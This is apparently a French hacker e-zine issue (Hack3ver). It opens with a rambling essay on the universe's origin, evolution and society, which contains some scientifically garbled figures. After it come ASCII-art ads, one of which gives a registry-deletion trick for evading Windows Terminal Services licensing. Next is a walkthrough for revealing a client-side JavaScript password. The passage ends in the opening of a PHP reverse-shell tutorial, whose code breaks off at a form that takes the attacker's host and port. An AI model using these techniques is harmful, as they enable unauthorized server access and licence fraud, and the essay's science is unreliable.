électromagnétiques,  nucléaire    (forte, et faible) sont  mixer ensemble  dans   une seconde  
force   qui les   unifies  toutes..  Puis,   à  10^-35  secondes, la  force nucléaire   forte 
se sépare  du groupe de force unifiée.   On a maintenant 3  forces présentes, la gravité,  la
nucléaire forte, et encore ce mixe de forces électromagnétiques et de force nucléaire faible.  
Puis vers  10^-11 secondes, la  force  nucléaire  faible  et  la  force  électromagnétique se  
séparent en  ce qui  sera respectivement  la   même   chose,  mais  séparer ;). Voilà donc le   
début des forces  fondamentals   de  la physique,  le  tout  dans  un  délais  de  temps  que 
l’informatique  actuel  ne parvient pas a égalé.

Puis, l’espace en tant qu’entité s’est  mise à s’expandre à une vitesse   folle. Mais le tout 
dans une échelle   de  temps  tout  aussi  dément.  Dès  l’explosion,  la  température  était  
extrêmement élevé, les particules de matières et d’anti matières ont  livrée  leurs  première 
bataille  en règle  à ce  moment, à  10^-43 secondes, déjà le tout commencait à ce refroidir,  
la matière  s’est mise   à  prédominer sur l’anti-matière, par le lot incroyable d’une partie 
par   milliard de  particule.. :).   L’univers a  réussis le  test de  la création,  en ne se
dissolvant pas lui-même par l’anti-matière. Puis l’expansion se poursuit  à  10^32  secondes, 
avec   la naissance   de quarks,   de neutrinos,   d’électrons et de photons,  des particules  
encore  loin du  noyaux  atomique  que  l’on  connais  actuellement, mais  à une  température 
de  10^27 degrés  Celsius, on  peut  être  tolérant.  À  10^-6 sec, 10^13 degrés, les premier 
protons et neutrons font  leurs  apparition dans ce  qui était le  vide, une première.  Apres 
3 minutes  de  vie, déjà les premiers  éléments  d’hydrogène  faisait leurs  entrées,  suivit  
par  l’hélium.  Puis  300 000  ans  plus  tard, (ce  qui est encore relativement   bien), les  
atomes  d’hydrogène et  d’hélium  ont officiellement  leurs  électrons qui gravitent autours, 
l’univers se refroidit, plus que 10 000 degrés Celsius.  Puis un milliard  d’année plus tard, 
à  -200 degré  C. ,  la gravitée condense   les  nuages  de gaz qui parcoure l’univers encore 
précaire, des amas de particules se rapprochent, s’échauffent et crée les premières galaxies,  
et  les  premiers soleils de ce monde.

A  cette  époque,  l’espace  est  encore relativement minuscule, pourtant tout de qui compose 
l’univers encore de nos jours devait théoriquement s’y trouver, sous une  forme ou une autre, 
notre soleil, notre terre, les particules qui vous  compose, de  facon encore  bien primaire,  
non transformées  par les  milliards  d’années d’évolutions qui vont suivre. C’est en quelque 
sorte l’union entre  l’infiniment  petit  et l’infiniment grand qui prend sa source ici, dans 
cet amas de gaz encore  ténébreux.  En  fait on peut  même  dire que  philosophiquement  à se  
moment  de l’existence même de l’univers, tout le potentiel de la vie futur était en train de 
prendre  naissance,  par  la  complexité  des  forces  qui  allait bâtir par la chaleurs, les  
éléments, les  particules, cette  vie non  seulement futur,  mais probablement généraliser  à  
plusieurs autres  espèces  que  l’être humains,  à  travers  l’univers en entier, laissant la 
voie ouverte à la créativité de  divers êtres pensant capable d’apprécier le processus ultime 
de la création,  peut-être mieux que nous même a l’heure actuel..

Cette évolution va s’expandre encore et encore, donnant naissance à des  soleils massifs  qui 
exploseront  pour libérer  des métaux  lourds. De  la  mort  de  ces  étoiles  précurseur  se 
cache une transformation de l’hydrogène en hélium, en carbone, en oxygène, puis en silicium.. 
et finalement en fer.  Fer une  matière  stable  qui  ne  peut  être fusionnée  pour crée  de 
l’énergie.  La matière ainsi expulsée du  corps même  de l’étoile  (et de  ce qui  l’entoure) 
se  répand dans  l’espace encore une fois, dissipant  sa matière sur des milliards  d’années.  
Et c’est cette matière là qui, 5  milliards d’années plus tard, crée notre  système  solaire, 
puis  les planètes  qui l’entourent,   crée par l’amoncellement de la matière qui se condense  
en des points gravitationnelle. Ces  particule de matières soumises à des forces de  pression 
et de gravitée extrême dégagent  une  chaleur,  chaleur  qui  encore de nos  jours continue à 
alimenter le soleil,  et le  cœur de cette bonne vielle terre. Mais cette vision du monde est 
encore une fois bien relative, car au même moment  à  l’autre  bout  de  l’univers,  le  même  
scénario  se  perpétue  sans  arrêt, en se moment même. Puis, ces soleils tout comme le notre
crée au fils  du hasard du  déplacement des masses, et des gaz  qui les formes, sont des fois 
simple, double, ou même triple… pourquoi pas quadruple.. qui  sait  ce  que  le  hasard  peut 
accomplir  statistiquement avec  comme limite un nombre infini d’échantillons. Dans notre cas 
cependant, le hasard, backer par  beaucoup  de  physique  élémentaire,  a permis à une petite 
planète de roche, qui est  située dans l’écosphère  du soleil,  une limite  ou en  gros l’eau  
peut s’évaporer, et  geler,  qui  permet à ce qu’on nomme  la vie, d’exister, enfin à ce jour  
c’est la conclusion. Il est aussi intéressant de noter  que  cette  petite  boulle  bleue, la 
Terre, doit son champ  magnétique à la  rotation  à  son  centre  de  métal  (fer) en fusion.   
Champ  magnétique  qui  s’avère  très  utile  pour  supporter  la vie,  en déviant des rayons 
cosmiques qui émanent du soleil.

Mais la vie en tant que telle s’avère une mystère encore entier, l’amoncellement  de carbones 
et d’acides aminées, dans un milieu aquatique primaire, est en  soit  plutôt  précaire  comme  
explication, tout comme  la météorite venant  de l’espace  porteur  de  vie  il y a de ca 3.6 
milliard d’années. L’ADN définie, de facon  très microscopique  même à cette époque,  un gage  
de survie  de la  vie  elle-même, encodant les spécifications pour crée  d’autres entités qui 
se développeront   à  leurs  tours. Les algues  se multiplie, et donne  par le fait même  une 
source  de  nutriment  à  d’autres espèces  plus évoluée.  La vie  se sert  de l’oxygène pour
accroître son  potentiel énergétique,  puis certaines  espèces  sortent   de  l’eau  pour  se 
perdre dans un monde encore vide d’exploration. Le pouvoir de la vie est  en  soit un sujet à 
débattre. L’adaptation et l’évolutions des espèces en  rapport  à  leurs  besoins,  à   leurs 
environnements, comme si la vie ne voulait pas  mourir, en créant   des  mutations   au seins   
même  des   entités  qu’elle  crée,  la sélection naturelle  ou les  plus forts  survivent et  
perpétuent  leurs  gènes  à  l’espèce mutante ainsi super adapter. Il est aussi intriguant de 
voir en la  vie des constantes statistiques  bien   particulières,  les   arbres  et   la vie
végétal semble avoir  un  faible  pour  une  structure  de  type « branche,  feuille » .. ces 
ramifications du  frame solide  vers d’autres  frames moins solide, la logique derrière cette 
ingénierie naturelle est forte, elle permet à l’arbre de grandir petit bout  par petit  bout, 
sans  que des  parties importantes   soient mises en péril  et  cause   la fin  de   l’arbre,  
le  tout   en maximisant à l’extrémité de ses branches l’expansion de l’espace. On note aussi 
que plusieurs animaux sur  terre on et on eu, deux yeux, un  nez, une bouche, des poumons, un
coeur,  un cerveau,  un coup, en  fait sa semble  être la norme  fondamental du génome TERRE, 
pour  les entités  importantes du moins. Une prise  de conscience se  fondant sur  des  faits  
statistiques qui  se   perdent   dans   les   abymes du temps. La  suite s’accélère   par une  
multiplication de   la vie  végétale,  et animale, des  êtres de plus  en plus gros peuple ce  
monde, puis finalement  des êtres gigantesques,   et des  reptiles volant  s’en donne à coeur  
joie pour se nourrir  de petits  mammifères.. Un   époque qui  aurait  bien  pu  aboutir  aux
premier êtres   dotés d’intelligence  proprement dite, mais un autre évènement catastrophique
mis   fin à  cet essai  de la  vie,  un  essai tout  de même très  concluant.  Encore à cette 
époque, des  dinosaures, ont du regarder la même lune que nous voyons   3 semaines par  mois, 
ce qu’ils  devait en conclure, rien de particulier peut-être.. mais   la lumière qui  émanait 
de  celle  ci devait être en soit une   source de réconfort..    ( Qwzykx l’ami   des animaux 
ici..)  Puis après  une bonne  dose d’évolution,  l’être  humain  vis le  jour,  cette   être
physiquement  plutôt  impotent,  qui  ne  possède  que  comme  seul avantage  un cerveau plus 
développée, et une paire de  main,  a sus survivre à une époque  ou  ses  moyens étaient plus 
que limitées, se  gossant des bouts de bois avec ce  qui  l’entour pour chasser, et apprenant  
des anciens les rudiments de  la confection et du maniement des  armes, ainsi que comment  se 
gosser des pseudo-manteaux  de  poils, ou simplement comment apprêter un  sanglier .. L’homme 
se prêtait même à des  excès  d’intelligence et  de  créativité en  peinturant  sur des  murs  
ses exploits, ces  quêtes, ces  réussites,   il laissait derrière lui plus que son existence, 
mais  bien celle  d’une époque.(Noter ici  l’ancêtre du  Zine),  mais ou des  signes de   ces 
artistes précurseurs restent  encore  sous la  forme  de  dessins, ou  d’artefact. Puis  plus  
tard  les clans, et  ensuite  les  sociétés se formèrent.  Des   endroits ou   collectivement  
l’être  humain trouvait  un avantage  à s’entourer du savoir des  autres. L’époque était dur, 
et encore plus quand l’homme  n’eu  que  l’homme  à  craindre.  Dès  lors  la  quête  de   la  
connaissance pris un  rythme que ne devait plus ralentir,  sa survie en dépendait, qu’il   en
soit conscient   ou non.  Puis  les  années passèrent,  des territoires entiers firent partie  
de  l’oeuvre  de l’homme,  des constructions  de moins en moins rudimentaire virent  le jour,  
de même  que des  érudits de  l’époque. La guerre était toujours  en arrière   plan, de  plus 
en  plus mortel,   et efficace, des légions de personnes motivées par leur amour de la patrie 
(tien ca date  pas  de si tôt)  se  lancait  à  la conquête, ou   la défense de  territoires.  
Des héros virent le jours, et moururent,  mais l’oeuvre faite et accomplie  allait changer la 
géographie  politique du  monde pour  des années  à venir.  A cette époque  de  balbutiement, 
l’homme tentait  tout  de  même  de  comprendre  le  monde  dans  lequel  il  vivait,  ce qui  
l’entourait. La  philosophie grec,  époque ou  la  masturbation intellectuel a belle  et bien  
débouchée  sur  des principes   fondamentaux de la science actuel, que se soit  le fait   que 
tout  est composée de *grains de sables minuscules*  ou qu’il  ne faut   qu’un grand   levier 
pour   soulever   le   monde,   sans   parler  du   nombre  d'art  qui fut un  modele d'ideal 
mathématique  ;)  Ingénieux, on se demande même comment par la nature de ce qui les entourait  
ces philosophes pouvaient en venir à de tel conclusions.. tout à fait juste ;).. Par  contre, 
on voit encore bien qu’un Einstein même  à  cette  époque  n’aurait  pas  pus  découvrir  les   
fondements  de   la  relativité,   les  stimulis   humains  qui  l’entourerait à cette époque 
de la  philosophie était tout de même limitées,  on  aurait  peut-être  même  vu en lui qu’un 
piètre laveur de toge..

Puis par la suite, vint l’époque  de l’exploration, des épidémies, et encore  de  la  guerre. 
L’homme poussait  sans  arrête  sa  découverte   autant  scientifiquement,  techniquement  et 
socialement. On note aussi que la religion a été un moteur  non négligeable pour la confiance 
de l’homme en de grandes causes. Cette  conception de la  vie après  la mort  est en  soit un  
réconfort  ultime  qui  devait  être  à  l’époque beaucoup plus tangible qu’en se  moment (et 
encore ..) . La  découverte du  nouveau  continent,  la colonisation de celui-ci de facon peu 
éthique, mais oh combien efficace, le  début du commerce  international, et avant que l’homme 
de  l’époque  puisse  prendre  conscience   dans    toute    l’ignorance   qui   l’entourait,
l’industrialisation, et  les bases  du capitalisme  firent partie  du quotidien. Puis vain la 
1ere  guerre   mondial,   une  époque  ou  les technique de guerre furent  raffiner aux goûts 
technologique du jour  de facon ingénieuse, une époque ou  le  développement   technologique,  
surtout  en matière  d’armement,  fit  de grandes innovations, innovations essentiels à la 2e 
guerre mondial, ou des  technologies  exotiques  comme  les  avions,  sont  devenue  beaucoup  
plus  perfectionner, et  efficace. Ou le fondement même de  la force contenue dans la matière  
pris enfin  tout  son sens avec l’apparition  de la  bombe nucléaire,  une bombe  somme toute
de faible magnitude (21 Kilotonnes)  si  on  la  compare  avec les innovations apportées lors 
de la guerre froide (51 Mégatonnes), bombe-H, bombe  à neutron..  En  fait cette lubie de mad  
scientist prenait ici  un tournant  qui  laisse  un froid dans le dos, si la guerre  de jadis 
se passait  en  voyant  de  moins   en moins  le regard  de l’autre,  cette fois il suffisait 
d’être à  des milliers de Km de distance  et de tourner  une clé pour décimer une  population  
entière  de  plusieurs  millions de personnes.  Puis viens paradoxalement  par  des  procéder
similaires l’exploration  spatial de  l’homme, premier  annimal  de  la terre à réussir cette 
exploit.  De quelques  tours autour  de  la terre, on  s’est vite approprié la lune,  pour la 
science,  et   aussi   quelques   notoriétés   politique.  Enfin,  la  suite  de l’innovation  
poursuivit  sont  cours,  avec  des  navettes  réutilisables, des lanceurs de  plus  en  plus  
perfectionnés,  des  sondes qui eurent pour but d’explorer des mondes si lointains,  mais  oh  
finalement combien  si   proche  après  tout..  sans oublier cette merveille technologique du 
monde  moderne.. le  bras  Canadien ;)  Et  nous voici en 2005  avec un  semblant de  station  
spatial  international   qui se  veut  un  lieu  de  découverte et d’exploration scientifique 
et aussi avant poste « de  traite » pour de futurs missions sur la lune, ou encore vers mars. 
Le besoin de l’homme à repousser  les  limites qui lui  sont données est  en soit une  oeuvre 
intrigante   de  la  vie,  de  l’intelligence,  et de  l’ingéniosité. Et  on voit  bien cette  
relation  par  la  complexité,  et  la fonctionnalité de plus en plus définie et précises des  
outils  que  l’homme   continue  de  construire,  et  on  est  bon dans  les outils, car on a
vraiment  eu  le temps  d’en  gosser  une couple  depuis l’age  de pierre ;) En ce  début  de  
millénaire, on  est peut-être  une des  dernières générations  d’êtres humains à voir la lune 
encore inhabitée par l’homme de facon permanente, car il y a depuis déjà des années au  moins 
quelqu’un  quelque part  qui dort   dans l’espace ;).

Les  communications   explosent, l’homme   est  plus  individuel  que  jamais, mais solidaire 
nationalement,  quel ironie, quand  on pense que  dans  plusieurs pays le pouvoir est divisée 
entre  deux grand  choix de  gouvernement,  comme  si on  avait toujours  besoin d’un  Yin et  
d’un Yang  .. ne  serait-ce que  par dissuasion… La condition  de   l’homme  dans  l’univers,  
des   sentiments   de  celui-ci,  de  expérience  qu’une  personne moyenne  peut expérimenter  
dans une vie, de la mémoire  qu’il peut  emmagasinée,  de  la créativité qu’il peut exprimer, 
tant d’élément qui n’ont pas de limite national, tans  d’éléments  qui sont un  témoignage de   
l’état de  mammifère engrosser  cervicalement qui  nous décrit.  Le pouvoir  de voir  la  vie  
en se  basant  sur  les recherches    des autres, sur  la conception de  ce  qui nous entour, 
par la compréhension  et le raisonnement, c’est  un aboutissement curieux quand  on y  pense, 
de   pouvoir admirer l’univers  avec le  peu d’information  qu’on a  à cette époque,  curieux
quand on pense qu’on est le 1er essai du raisonnement, le 1er essai que la   vie  a crée d'un 
être qui se démarque des autres par une  capacité de comprendre  et décrire ce qui l’entoure, 
le tout en ayant le choix de  changer par des   moyens  créatifs  son milieux,  une des rares  
espèce à adapter  son millieux de  vie  au  lieux  de  s'adapter à celui-ci. Un être qui peut 
comprendre de  facon   physique  et philosophique  sa situation  dans le monde, ou simplement 
la notion même du mot «  monde ». Mais sommes  nous  si  brillant  après  tout,  est-ce   que 
l’homme est  digne   d’être vu   comme  un  model?  Malgré le fait qu’on invente des voitures 
avec des  polymères de plus  en plus complexes,  des micro-ondes,  des processeurs de plus en   
plus nanoscopique..  le  fait  est  que  la  majorité   des  gens  n’ont  que  faire de   tel  
connaissances,  l’homme moyen  ne   vise  qu’à  utiliser ce qu’on   lui offre, sans  trop  se 
poser  de question..  si   quelque  chose  brise,  on  va  chez  le  réparateur, qui lui-même 
commande une pièce  neuve, sans réparer l’ancienne pièce qui  est d’ailleur fort probablement 
revendue   à une  compagnie  de  recyclage...  Ca   fait   de  nous,  du  système   un   lieu
ou l’intelligence humaine applique des connaissances   (plus  économique qu’environnemental).  
Donc  est-ce   pour  son   propre bien  ou pour  le bien du  peuple qu’on tente de changer le 
« monde » ?

Les grands pionniers scientifiques sont les vrais artisans du monde effréné technologiquement 
dans lequel nous vivons.. et  sa serait naif de dire que  tout le monde est égale, car par le 
sens même des intérêts qui motive chacun, on voit bien  que  certaines  personnes  manipulent  
ou  sont  manipulés,  avec  ou  sans  consentement.  La capacité de raisonnement est aussi un 
facteur intrigant,  quand  on pense que la majorité des personnes prennent un choix politique 
envers leurs présidant/premier  ministre  la veille  même  de l’élection.  Se  basant sur  la
critique du débats des chefs, ou le look de la personne, la détermination  qu’il dégage. Mais  
dans les  faits on  peut avoir  un leader  amorphe, ce qui  compte c’est les projets de  lois  
qui  en  découlent..  Les  speach  publique  sont  préfabriqués  de  toute  pièces,  par  une  
armée  de  personnes  en   “relation diplomatique” d’on le but est de plaire le plus possible 
à une masse de personne (d’ont le QI cible  est passablement  85) de  jouer sur  leurs peurs, 
sur leurs  espoirs  futurs,  la société démocratique est de plus en plus pleine de trous,  un
système ou les erreurs superposées  se sont accumulées offrant à  une oligarchie  de personne 
la possibilité de gouverner  un pays, à leurs intérêts, incluant la vision  du  monde  qu’ils  
offres  à  leurs  électeurs.  Les  fonds privés sont essentiels  à  une  campagne  en  règle,  
et  à  défaut  de  pouvoir  avoir  des  investissements  que  par des  belles paroles,  c’est 
par  l’argent qu’on vient à  bout de faire plier des dirigeants  d’entreprise en sa  faveur.. 
Un choix avare, mais payant,  surtout quand  on apprécie  toute la  dynamique de manipulation 
de masse derrière tout ca. L'intellect humain, aboutissement logique de la vie  (si on se fit 
à la logique qu'on en  connaît) en fait la seule qu'on connaît ;)  (ce  qui serait logique).. 
bon, si on  en revenait au sujet.. Cette intellect  qui me  pousse  à  écrire ce soir, vous à  
me lire, et bien d'autre à vider  des poubelles ou perfectionner un générateur  de plasma, on 
est tous aussi pertinent que des fourmis, et bien qu'on aime pas avoir le rôle de la fourmis, 
on l'assume  assez bien d'un tas de gens, (incluant tout ses inconnues au Mexique).  Même  la  
plus attruiste des  personne voit  par moment  ses semblables  comme des obstacles à eviter..  
Et  oui  vous  êtes  une  fourmi,  une  fourmi   de  plus  dans  cette  fourmilière  humaine, 
votre race  est votre nationalité,  votre territoire  aussi  définie  que  les  voisins   qui 
peuple d’autres fourmilière le veuillent bien. Le but est simple, ne   pas être  exterminer.. 
On  attend beaucoup  d’une  fourmi,  beaucoup  trop,  beaucoup plus  que  ce qu’elle voudrait 
faire de sa vie, elle doit  travailler, apporter  de la  bouffe au  nid,  se   battre en  cas  
de danger,    et  malgré  tout  elle   se promène    non chalament  dans  les  prés,  jusqu’à  
ce qu’un stimuli  extérieur vienne menacer   sa  vie, et même à   cette  grosseur l’esprit de   
survie est remarquable.  Je  m’étonne des  fois  de  voir  des stratégies    différentes chez   
des  bestioles,  la fourmi  par exemple  va  fuir,  bouger  plus vite  pour se  sauver ou  se 
défendre..  mais pour l’araignée la situation  est tout  autre,  plus   sneaky elle  va faire  
la morte, et elle est plutôt  convaincante, si ce  n’était de mon  excès de QI,  il s’agit la 
d’un truc  qui  marche  même  avec  le  chien  le  plus  brillant… J’crois qui a un parallèle 
à  faire avec  l’espèces humaine,  il y  a des  ces gens  qui vont se débattre pour se sortir 
d’une situation,  d’autre qui vont simplement attendre dans le calme que la situation  passe, 
quel situation est la  meilleur, mystère, ca dépend de  la  situation   et de   votre  chance  
se  matin  la ;) C’est passionnant de voir chez  des êtres plus petit  que son ongle, à  quel 
point des  comportements  de  la  vie  de  tout  les jours  peuvent  êtres  appliqués, à quel
point on peut  trouver une  réaction familière, et compréhensible. Même  chez un chat on peut  
déceler ses  essais  de  « sneaky  cat  »  ou  ses  routines  de  nourriture,  ce  que  cette   
boulle de  poil  offre  de  plus  que  des  insectes c’est une   communication compréhensible  
réciproque, simple  soit,  mais  quand  même  présente, quand il  vous regarde dans les  yeux 
en miaulant se tenant à un point précis de votre  appartement, on déduit ce qu’il désire,  ce 
qu’il  veux, et après  tout  s'il  nous  en  fait part,  c’est qu’à  quelque part,  lui aussi
estime de vous que vous allez le comprendre..

Si vous avez du temps à investir dans les fondements de la physique moderne,  je vous suggère 
« The elegant univers »  .. disponible chez  votre  provider   peer-2-peer  local.. Je  pense 
pas  qu’on  va  vous  en  vouloir de vous instruire par vous  même ;)  Sa  jase  de  concepts 
passée/présent/et futur ;)  .. une facon original et  émouvante  de  voir  l’univers comme un 
tableau  de Dali.. , et on est encore  loin de la collection complète ;)




  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |Vous voulez ecrire un article, mais votre chien viens de    \\_  \_ \   \\_ -  : '
 ||`|quittez pour votre blonde? pas le gout de penser par        \_ \   \\_  \_ \ 1   
 || |vous-meme? Nous avons la solution pour vous... ce magnifique  \\_  \_ \   \\_ 1  + 
 || |notepad booster vous est offert gratuitement :                \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|          http://mrgibson.zapto.org/air/filler.php                \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Air Filler 2000 : Instant notepad booster                             ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[11]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire de javascript      ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[  Liondejuda  ]=\:\ _//     
                                                  \__\________________________/__/ 


              0001001000000100000001001000001000000100010000000000010
              010      __  __           __  _____                 000 
              000     / / / /___ ______/ /_|__  /   _____  ____   001  
              001    / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/  010
              000   / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /      000
              000  /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/       001
              010            http://hackever.n0ne.org             000
              0100010001000000100001001000001001000000010000010000100


Voici un script écrit en javascript qui permet d'accéder à une page aprés autentification via 
une  fenétre  pop  up. Vous allez vous rendres compte de la facilité avec laquel nous pouvons 
passées outre cette protection.

Certain élements ont étés volotairement changés. 

Pou r commencer enregistrez la page du site ou se situe le script pour pour ensuite pouvoir y 
travailler hors connexion.


<script language="JavaScript">
function check()
{
var hk=unescape("%45%56%78%63%95%14%75");
if (document value == hk)
{
alert("Mot de passe accepté");
}
else
{
alert ("Erreur du mot de passe");
}
}
</script>


Le document nous indique clairement la démarche à suivre pour réussir une autentification, le 
passe doit avoir la valeur de hk.

Nous allons donc tout simplement remplacer :

alert ("Erreur du mot de passe");

Par:

alert (unescape("%45%56%78%63%95%14%75"));


Ce qui donnera :


<script language="JavaScript">
function check()
{
var hk=unescape("%45%56%78%63%95%14%75");
if (document value == hk)
{
alert("Mot de passe accepté");
}
else
{
alert (unescape("%45%56%78%63%95%14%75"));
}
}
</script>


Enregistrez les modification et lancez la page dans  un  navigateur  web.  Le  passe  devrait 
s'afficher sur la fenétre pop up ou vous alors vous accédez directement a la page protégé.

Je n'ais encore jamais rencontré ce genre de faille à part sur des challenges de javascript .			

écrit par LIONDEJUDA.

				(c) Hack3ver - All rights reversed.



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|Vous runnez windows 2003 illegitimement, vous etes trop     \_ \   \\_  \_ \ 1   
 || |broke pour payer des licenses de Terminal Service? Pas de     \\_  \_ \   \\_ 1  + 
 || |probleme, Effacer periodiquement (a tout les 30 jours) le     \_ \   \\_  \_ \ 1   
 ||'|registre HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSLicensing      \\_  \_ \   \\_  x 
 || |et laisser TS runner en preview mode.                           \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[yet another micro$oft shit, and yet another joke just begining with yet]=\:\  |
  \__\__________________________________________________________________________________/ 


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[12]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de reverse shell   ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[      __2     ]=\:\ _//     
                                                  \__\________________________/__/ 




Depuis des temps immémoriaux, l'homme a essayé, a  plusieurs  reprise  (non  sans  peine)  de 
comprendre d'ou venait son ombre...Avec un intérêt beaucoup moindre, voici  une des solutions 
a un problème d'un tout autre ordre, j'ai nommé: Comment   ouvrir   un reverse shell a partir 
d'un simple script PHP sans avoir a utiliser un logiciel tierce ?

Il  existe  présentement  une  quantité  incroyable de solutions (la majorité, si ce n'est la 
totalité) utilisant des pseudo-shells "one time", je m'explique: un script  PHP exécutant par 
exemple shell_exec() et retournant le résultat via une page WEB  dans  un  browser  (tel  que 
Firefox ou IE. Cette solution est très basique  et ne permet  pas l'utilisation de programmes 
plus complexes comme "vi" ou "lynx". J’entends par complexe le   fait que  les  applications, 
nommées précedement, ont la fâcheuse  tendance  de nécessitées une interaction  continue avec 
leur utilisateur. Le logiciel ne sort pas après son exécution, mais  nécessite  par contre un 
CTRL-C pour terminer. Il y a aussi le fait d'avoir à taper dans un formulaire HTML pour faire 
exécuter des commandes qui brise un peu l'ambiance kitch  du  bon  vieux shell en console. Et 
que pourrais bien en penser les voisins?

Pour régler le problème il faut donc être capable de lire le résultat d'une application et de 
lui écrire (envoyer du contenu), on parle   alors de transmission  full-duplex.  Le  problème 
étant  qu'a  priori  PHP n'offrait pas ce genre de fonctionnalités, jusqu’a récemment avec la 
venu de PHP 4.3.0 et 5.

Les nouvelles fonctionnalités sont donc arrivez sous la forme de la fonction "stream_select", 
qui  est  une  copie  conforme  du  bon  vieux  select()  en  C,  on  peut  donc   faire   du 
"IO multiplexing" via PHP. Lire le contenu d'un socket ou d'un processus ne   cause  plus  un 
blocage complet du script PHP :)

Dans le cas ou ces fonctionnalités ne soient pas disponibles, la méthode efficace aurait pris 
la forme d'un module PHP programmer en C contenant ce que vous  auriez  bien  voulu   charger 
durant l'exécution du script via la fonction "dl()". 

Revenons à nos moutons, voici le code, permettant de faire ce que je viens d'écrire, expliqué 
ligne par ligne pour vous, les nombreux (Sarcasme)  lecteurs. Les  instructions  sont  justes 
après le code:

--------------------------------SNIP HERE-------------------------------------------------

<?php




		
	if (!isset($_POST["hostname"])) {					// Cette partie
										// sert simplement
        print "Running: ".phpversion()."<BR><BR>";				// a afficher un
        die("<HTML><BODY bgcolor=#efefef><FORM method=POST>Hostname: 		// formulaire 
		     <INPUT TYPE=text name=hostname value=1.2.3.4>		// demandant le 
                     Port: <INPUT TYPE=text name=port value=10000 size=5>	// hostname
                     <INPUT TYPE=submit value=GO>				// et le port ou
